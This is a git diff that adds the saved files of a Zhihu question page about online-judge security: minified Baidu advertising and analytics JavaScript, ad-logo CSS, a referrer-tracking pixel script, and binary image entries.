t.replace(/(^\s*)|(\s*$)/g,"")},x:function(t){for(var n=[],i={},e=t.length,r=0;r";n=i+n+e}return t.removeAttribute&&(t.removeAttribute("id"),t.removeAttribute("style")),n},Gt:function(){var t=a.Kt(["div","abbr","span","ins","em"]),n="";a.Vt(20)&&(n=' id="'+a.Yt(5,10)+'" ');var i="";a.Vt(20)&&(i=' class="'+a.Yt(6,15)+'" ');var e=a.Kt(["display:none;","width:0px;height:0px;"]);a.Vt(50)&&(e+=a.$t()),e=' style="'+e+'" ';return r.h("<{tagname} {idString} {classString} {styleString}>",{tagname:t,idString:n,classString:i,styleString:e})},Xt:function(){var t="";a.Vt(30)&&(t=' id="'+a.Yt(5,10)+'" ');var n="";a.Vt(60)&&(n=' style="'+a.$t()+'" ');return r.h("
",{idString:t,styleString:n})},Qt:function(t){return t&&document.querySelector?document.querySelector(t):null},Zt:function(t,n){var i="";switch(t=parseInt(t,10)){case 0:n=(i=n)&&i.parentNode;break;case 1:i=this.nn(n);break;case 2:i=this["in"](n)}return{targetInsertPoint:i,container:n}},nn:function(t){var n=t&&t.children;if(n&&1window.screen.height){var i=n.length;return n[Math.ceil(i/2)]}},"in":function(t){var n=t&&t.children;if(n&&0=c.G)continue;this.ln(i),this.vn(i),this.pn(i)}},pn:function(t){t.isAnti&&(d.prScript=_.zt(d.prScript,u.O(this,this._n,t),u.O(this,this._n,t),{src:"//cpro.baidustatic.com/cpro/ui/pr.js"}))},_n:function(t,n){"object"!=typeof window.__baidu_dup_jobruner&&1!==n.proxy&&(n.proxy=1,this.vn(n),"block"!==window.__baidu_dup_jobruner&&(window.__baidu_dup_jobruner="block",r.mn(c.bt,n.proxy+"|"+(new Date).getTime())))},vn:function(t){!d.wn&&window.postMessage&&(d.wn=!0,_.Bt(window,"message",u.O(this,this.gn)));var n,i=t.isUnion||t.isAsync;t.proxy=t.proxy||this.yn(t),t.paramObj=t.paramObj||a.bn(t);var e=t.domainInfo.mixOffset,r=a.xn(t.paramObj,t.proxy,e),o=c.F+r;1===t.proxy&&t.domainInfo.mixOffset&&(o=c.U+"//"+t.domainInfo.dup+"/"+s.Yt(5,10)+"?"+r),t.paramObj.dtm=c.H,t.timestampWatcher.t2=+new Date,(n=this.In(t))?window[c.B](n):this.An(o,i),f.kn(t),this.hn(t.id,c.G)},gn:function(t){var n=t.data;if("string"==typeof n&&window.JSON&&window.JSON.parse)try{n=JSON.parse(n)}catch(a){}if(n&&n.tuid)if(n.placement&&n.placement.update&&n.queryid){this.Sn(n);var i=n.tuid,e=n.placement.complement_type,r=n.noadx&&parseInt(n.noadx,10),o=n.queryid;-1
'),_.g(t.containerId)||this.Mn(t))),this.hn(t.id,c.V)},Mn:function(t){try{var n=document.getElementsByTagName("script"),i=n[n.length-1];if(i){var e=i.parentNode;if(e){var r=document.createElement("div");return r.id=t.containerId,e.insertBefore(r,i),!0}}}catch(o){}return!1},An:function(t,n){if(n){var i=document.createElement("script");if(!i)return;i.type="text/javascript",i.async=!0,i.src=t;var e=document.getElementsByTagName("script")[0];e&&e.parentNode?e.parentNode.insertBefore(i,e):document.write(' + + +
+
+ +
+
+ +
+ + + + + + + \ No newline at end of file diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/mckm_data/3046298267_14_747_533.jpg" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/mckm_data/3046298267_14_747_533.jpg" new file mode 100644 index 0000000..2d81248 Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/mckm_data/3046298267_14_747_533.jpg" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/mckm_data/3054647291_14_619_442.jpg" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/mckm_data/3054647291_14_619_442.jpg" new file mode 100644 index 0000000..d0fd5ab Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/mckm_data/3054647291_14_619_442.jpg" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/mckm_data/adx.gif" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/mckm_data/adx.gif" new file mode 100644 index 0000000..c95709f Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/mckm_data/adx.gif" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/mckm_data/logo-sm.css" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/mckm_data/logo-sm.css" new file mode 100644 index 0000000..ef6615f --- /dev/null +++ "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/mckm_data/logo-sm.css" @@ -0,0 +1 @@ +.logo-container{display:block;position:absolute;right:0;bottom:0;z-index:65534;font-size:0;height:16px;background:#b2b2b2;padding:0 1px;background:rgba(0,0,0,.3);opacity:.5}.logo-container a{font-size:0;background:#666;background:rgba(102,102,102,.6)}.logo-container a img{position:static;border:0}.logo-container .gap{display:inline-block;*display:inline;*zoom:1;width:1px;height:16px;background-color:#fff;opacity:.45;filter:alpha(opacity=45)}.logo-link{display:inline-block;*display:inline;*zoom:1;width:33px;height:10px;margin:3px 4px}.logo-close-img{display:inline-block;*display:inline;*zoom:1;width:8px;height:8px;margin:4px}.logo-mobile-container .logo-link{width:33px;margin:3px 4px}.feedback-container{display:none;position:absolute;z-index:65535;top:0;right:0;bottom:0;left:0;height:100%;background:#fcfcfc;font-size:12px;color:#666}.feedback-container a{font-size:12px}.feedback-container .intro{font-size:14px}.feedback-container .bk-logo{position:absolute;z-index:-1;right:10px;bottom:10px;width:68px;height:22px;background:url(../images/logo-fb-big.png);_background:0;_filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(sizingMethod="image",src="../images/logo-fb-big.png")}.feedback-container.fd-small .bk-logo{right:5px;bottom:5px;width:50px;height:16px;background:url(../images/logo-fb-small.png);_background:0;_filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(sizingMethod="image",src="../images/logo-fb-small.png")}.feedback-container.fd-small .closed-content{padding:5px;font-size:14px;font-weight:400}.reason-content{margin:0 auto}.reason-item{display:inline-block;*display:inline;*zoom:1;width:48px;border:1px solid #dbdbdb;line-height:2;text-align:center;padding:0 10px;margin:5px 10px 0 0;text-decoration:none;color:#666}.reason-item:hover{background-color:#eee}.fb-btn-cancel{display:block;margin-top:10px;text-decoration:none;color:#3389e3}.thx-content{display:none;margin-top:10px;text-align:center}.thx-content h5{font-size:16px;margin:0}.thx-content p{margin-top:5px;font-size:12px;text-align:center}.closed-content{display:none;padding:20px 0 0 20px;font-size:16px;font-weight:700} \ No newline at end of file diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/mckm_data/logo.js" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/mckm_data/logo.js" new file mode 100644 index 0000000..92ef2e4 --- /dev/null +++ "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/mckm_data/logo.js" @@ -0,0 +1 @@ +(function(a,b){if(typeof define==="function"&&define.amd){define(b)}else{a.logo=b()}}(typeof self!=="undefined"?self:this,function(){var d="";function o(){}function c(){var q=null;try{q=(window.baidu&&window.baidu.mobads&&window.baidu.mobads.Sdk)||(window.parent&&parent.baidu&&parent.baidu.mobads&&parent.baidu.mobads.Sdk)}catch(r){}return q}function f(r,q){var s=document.createElement("div");s.innerHTML=q;var t=document.createDocumentFragment();for(;s.childNodes.length>0;){t.appendChild(s.childNodes[0])}r.appendChild(t)}function b(r,q,s){if(r.addEventListener){r.addEventListener(q,s,false)}else{if(r.attachEvent){r.attachEvent("on"+q,s)}}}function e(q){if(q.stopPropagation){q.stopPropagation()}else{window.event.cancelBubble=true}if(q.preventDefault){q.preventDefault()}return false}function n(s){var r=null;var q=[];for(r in s){if(s.hasOwnProperty(r)){q.push(r+"="+encodeURIComponent(s[r]))}}return q.join("&")}function i(q,s){var t=s.type;if(t==="treatment"){var r=q.querySelector(".logo-container");r.style.cssText="opacity:0.5"}}function k(r,q){r.style.position="relative";var s=r.querySelector(".logo-container");s.classList.add("new-logo-container");s.style.cssText="background: transparent;";s.style.width="100%";var v=r.querySelector(".logo-con-wrapper");v.style.cssText="display: inline-block; height: 16px; background: transparent";var u=r.querySelector(".logo-close-img");var t=r.querySelector(".logo-link");if(q){u.src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAFo9M/3AAAAAXNSR0IArs4c6QAAARVJREFUOBF9kzGWwjAMRGNKOEdSc6G9xzahoOIe1LkLPe1egW3DfOHxcxIHv6dne2Y0lkTo5nkeOi9dJp9Xuyntt0PmnnnvO6FHJ+g8BgCI3ATgDTAAMwBEysxd7E9K6d9pFqYKwAJhVCDxL5zL4nxRQF4VfXbuKGC0nYiyECimEBS0OmTBwBOntQOkcOr5ixwEFkEqJnbIugtPphdeWq67iOpFPut5hCDbxbCw1d1ucVm8aYFFjJrfubyJgJUFLwSj7mdFTLF+H+F6SU93TJ1mHtHlCmwa7WnKmHipJQLX8osb84XBR7sxAt4kWrsxaFSBln6bJsWgkXj1QL9x/kfs9uhS2VtGgIOCbz4+vjph74w25wxv9VjxEc3jX7MAAAAASUVORK5CYII=";t.src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEQAAAAUCAYAAAA0nZtFAAAAAXNSR0IArs4c6QAAA/lJREFUWAnNmFmIjlEYx2esIyTGvlMijezDhYixZ7lhFMp6IbmQrShbcSESibhAslO2C4oRLpQbI5ms2YaJplD2iPH7f86j83297/st8w2e+s0553n+5znnfc95z5yZnJwAq6qqyoejUC8gXKMuxiyCcpiR6UD0XQ8rrD/1RnAQJpovrZKOm0B2Nq2OWRAzZj3QCynNJB39esJP2Gz9qTcD2SrzhZV1QgITnH8SSYpyc3Mvh+gycpOzKR2jdsBd4mPQbaB8HTLIF+a1NyC2HF8uBMUC5PEudYwzJlEfxxew2EkGLpaIWAeK/tAS3sMjKCVeRZmykacH4nspdwgWVjJuKz/k8t7Gp/lc8mL69EfDA9Ccg+ww+Y4F7ZDvqO1lPKSu73E85VoohER7RXwbzh0k1ItMxxYh3p9OB08btwjMoTWxC/AD7oAWzcyesyEO329xlYoFG8lfwk1oAXshFbuDqGtwxngvuh4u4fz4SGYtcjWGUvgOWrw4w1ftM2QfGcVOmOpl/0j9JmgF2sNAaAeyArjG4IXslFcxz9/70ZehesNcxj5fI8PyYAvBtyM08v3BaNeCxfAJzEp8TVAdYVZ3iMYgZ7+gsVwsvR1CsiI6LgWt+FMYBuvAbBeV3ZB4L+mE7ypMhougs0f3iFGslH+o4a45YzxdD/TZhA1S1wXmoRkZJpJfK7yaUqs6DprDDdCJ3AJkekHLQedDBfrXcA/e0H4C+Ty8+u8Bs5lWCSnznP9zSDzbbv2iuALPkybmwUbAIdD3fwoGwBYw26EkNFqaI6GMPRy+4Z7/cdTA6IY4rd13ouT/PsZkD3sPN0czoq3dpBugb+9stjibeIHIX7/oxjrtUOv/v5S1Qibib2V9RjLdLu1+EnPwQ9+t5TCdYn5/0/plW9eo9J3VrTOX3vAtA2bZ2HZhsbaV/pYvdM4+FvTK2tR7QhkM8vx+f8/9p6rz6CfoDMqmacF0gB4F3ViTmRZxGdiiBut5wwVgpsuOzpWJoL9tOkADaOfagynz4C6YrQnO/NuL6Dg8i9JkEiNnHzeBaan0R9vN6WPHQmQfhCVOrOI+dA7qgL8+7Aezj1TaBGnNR/wFnLF2tkpyVvuFRG2VxUz0k5tsd0pdzZdBL6gD2ilT8N+C2WC2JuqmSp8uCNvDVevwP5VhZ0gOD1XG5Kcz2ROgv4Abgf7HIH6Azo9E20O/rYnOhHaxa+teUFO2kbkvSSG53Yf+SENfiBQ83DkSD6N6ALRLzBJfxgcCq9FvN0FEOZtYGdpUDr2INJGht0QrIhW/g1rk9I2Xok9kBpyGcvgKlXAdVoLdapMmR1sMC5IKMxCQtzvcAt20kxq6jk6vPz1i9gtqG09/SO6d3QAAAABJRU5ErkJggg==";u.style.cssText="position: absolute; right: 0; margin: 0; padding: 4px; opacity: 0.3; background: #000000;";v.style.background="#000000";v.style.opacity="0.3";t.style.cssText="width: 24px; height: 8px; margin: 4px"}else{u.src="https://render-server.cdn.bcebos.com/static/images/20210525/d5443f3a0c9fe8456beb5f50eb08ed60.png";t.src="https://render-server.cdn.bcebos.com/static/images/spring_festival/ad-logo.png";u.style.cssText="position: absolute; right: 0; margin: 0; padding: 4px";t.style.cssText="width: 24px; height: 8px"}}function j(u){u=u||{};var r=u.logoUrl||"https://union.baidu.com";var s=document.getElementById(u.containerId||"container");var v=u.containerId;var D=document.getElementById(u.feedbackParentId||"container");var w=!u.hideClose&&D;var C=u.closeDirect;var x=u.deviceType>1?" logo-mobile-container":"";var y=u.exps||{};var z=u.newLogoExps;var t=y["rs_logo"]||{};var B=u.isDarkLogo||false;if(s===null){return}var q=['
','','',"",a(w),"
"].join("");i(s,t);f(s,q);if(z){k(s,B)}if(!w){return}var A=l(D.clientWidth,D.clientHeight);f(D,A);m(u.trackingInfo,C,s);g()}function a(q){if(!q){return""}return['
','','',""].join("")}function l(s,q){var t=(q-250>0)?30:0;var r=320;if(s<320&&s>159){r=160}else{if(s<160){r=80}}var u=r<160?"feedback-container fd-small":"feedback-container";var v=h(s,q);return['
','
','
反馈意见:
',v.join(""),'返回',"
",'
',"
感谢您的反馈!
","

您的反馈已记录,我们将努力改善您的浏览体验。

","
","
"].join("")}function h(r,q){var t=['视觉干扰','内容不宜','不感兴趣','其他原因'];function s(){var u=parseInt(Math.random()*3,10);return[t[u],t[3]]}if(r<160&&q<106){return[]}if(r>=80&&q>=106&&r<160&&q<168){return s()}if(r>=160&&q>=76&&r<320&&q<106){return s()}return t}function m(s,w,r){var v=document.getElementById("logo-close-btn");var u=document.getElementById("feedback-container");var q=document.getElementById("reason-content");var t=document.getElementById("thx-content");b(v,"click",function(x){var z=c();if(z&&w){z.onAdPlayEnd();p(s,0);return}if(window.parent&&window.postMessage&&window.parent.postMessage&&window.JSON&&JSON.stringify){var y={type:1,tuid:d,msg:"click"};parent.postMessage(JSON.stringify(y),"*")}return e(x)});b(u,"click",function(x){x=x||window.event;var y=x.target||x.srcElement;if(!(y&&y.getAttribute)){return}if(y.getAttribute("data-value")!=null){p(s,y.getAttribute("data-value"));q.style.display="none";t.style.display="block";setTimeout(function(){t.style.display="none"},2000);setTimeout(function(){var A=c();if(A){A.onAdPlayEnd()}else{if(window.parent&&window.postMessage&&window.parent.postMessage&&window.JSON&&JSON.stringify){var z={type:1,tuid:d,msg:"click"};parent.postMessage(JSON.stringify(z),"*")}}},2000)}if(y.className==="fb-btn-cancel"){u.style.display="none"}return e(x)})}function p(s,t){var r="https://eclick.baidu.com/close_feedback.jpg?";s=s||{};s.reasonid=t;s._=(new Date()).getTime();r=r+n(s);var q=document.createElement("img");q.onerror=o;q.src=r}function g(){if(window.parent&&window.postMessage&&window.parent.postMessage){var q=function(t){try{var u=JSON.parse(t.data);if(u&&u.type===1){d=u.tuid;var s={type:1,msg:"ok",tuid:d};window.parent.postMessage(JSON.stringify(s),"*")}}catch(r){}};if(window.addEventListener){window.addEventListener("message",q,false)}else{if(window.attachEvent){window.attachEvent("onmessage",q)}}}}return{init:j}})); \ No newline at end of file diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/mckm_data/u1346252968u23643214452fm76.jpg" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/mckm_data/u1346252968u23643214452fm76.jpg" new file mode 100644 index 0000000..8ab77b6 Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/mckm_data/u1346252968u23643214452fm76.jpg" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/push.js" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/push.js" new file mode 100644 index 0000000..2248c41 --- /dev/null +++ "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/push.js" @@ -0,0 +1 @@ +!function(){var e=/([http|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi,r=window.location.href,t=document.referrer;if(!e.test(r)){var o="https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif";t?(o+="?r="+encodeURIComponent(document.referrer),r&&(o+="&l="+r)):r&&(o+="?l="+r);var i=new Image;i.src=o}}(window); \ No newline at end of file diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/sidebar-download-qrcode.png" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/sidebar-download-qrcode.png" new file mode 100644 index 0000000..0388982 Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/sidebar-download-qrcode.png" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-742b70686c0a04f6d77a011904d9d704_250x250.jpeg" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-742b70686c0a04f6d77a011904d9d704_250x250.jpeg" new file mode 100644 index 0000000..1389d65 Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-742b70686c0a04f6d77a011904d9d704_250x250.jpeg" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-88158afcff1e7f4b8b00a1ba81171b61_720w.png" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-88158afcff1e7f4b8b00a1ba81171b61_720w.png" new file mode 100644 index 0000000..e5295df Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-88158afcff1e7f4b8b00a1ba81171b61_720w.png" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-8ae242146950f8714a9429467e4ea464_250x0.jpg" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-8ae242146950f8714a9429467e4ea464_250x0.jpg" new file mode 100644 index 0000000..0c38968 Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-8ae242146950f8714a9429467e4ea464_250x0.jpg" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-8c3b7860ec5a7ac8b7cfff779f69d6e7_l.jpg" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-8c3b7860ec5a7ac8b7cfff779f69d6e7_l.jpg" new file mode 100644 index 0000000..a264914 Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-8c3b7860ec5a7ac8b7cfff779f69d6e7_l.jpg" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-8c3b7860ec5a7ac8b7cfff779f69d6e7_xs.jpg" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-8c3b7860ec5a7ac8b7cfff779f69d6e7_xs.jpg" new file mode 100644 index 0000000..a264914 Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-8c3b7860ec5a7ac8b7cfff779f69d6e7_xs.jpg" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-90d3d7283f93d7fc94e6a123199a8c59_250x0.jpg" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-90d3d7283f93d7fc94e6a123199a8c59_250x0.jpg" new file mode 100644 index 0000000..2a3a44c Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-90d3d7283f93d7fc94e6a123199a8c59_250x0.jpg" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-b83cf570406a285a0db1d92ef65748d4_540x450.jpeg" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-b83cf570406a285a0db1d92ef65748d4_540x450.jpeg" new file mode 100644 index 0000000..7b91391 Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-b83cf570406a285a0db1d92ef65748d4_540x450.jpeg" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-cc4ef8d4b59600369b510e1051f9bcd7_250x0.jpg" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-cc4ef8d4b59600369b510e1051f9bcd7_250x0.jpg" new file mode 100644 index 0000000..d6242be Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-cc4ef8d4b59600369b510e1051f9bcd7_250x0.jpg" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-d0289dc0a46fc5b15b3363ffa78cf6c7.png" "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-d0289dc0a46fc5b15b3363ffa78cf6c7.png" new file mode 100644 index 0000000..ae96458 Binary files /dev/null and "b/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-d0289dc0a46fc5b15b3363ffa78cf6c7.png" differ diff --git "a/document/Online Judge \346\230\257\345\246\202\344\275\225\350\247\243\345\206\263\345\210\244\351\242\230\347\253\257\345\256\211\345\205\250\346\200\247\351\227\256\351\242\230\347\232\204\357\274\237 - \347\237\245\344\271\216_files/v2-da7d9e4b6a7ddba507299bcf5a4d0600_1440w.png" "b/document/Online Judge 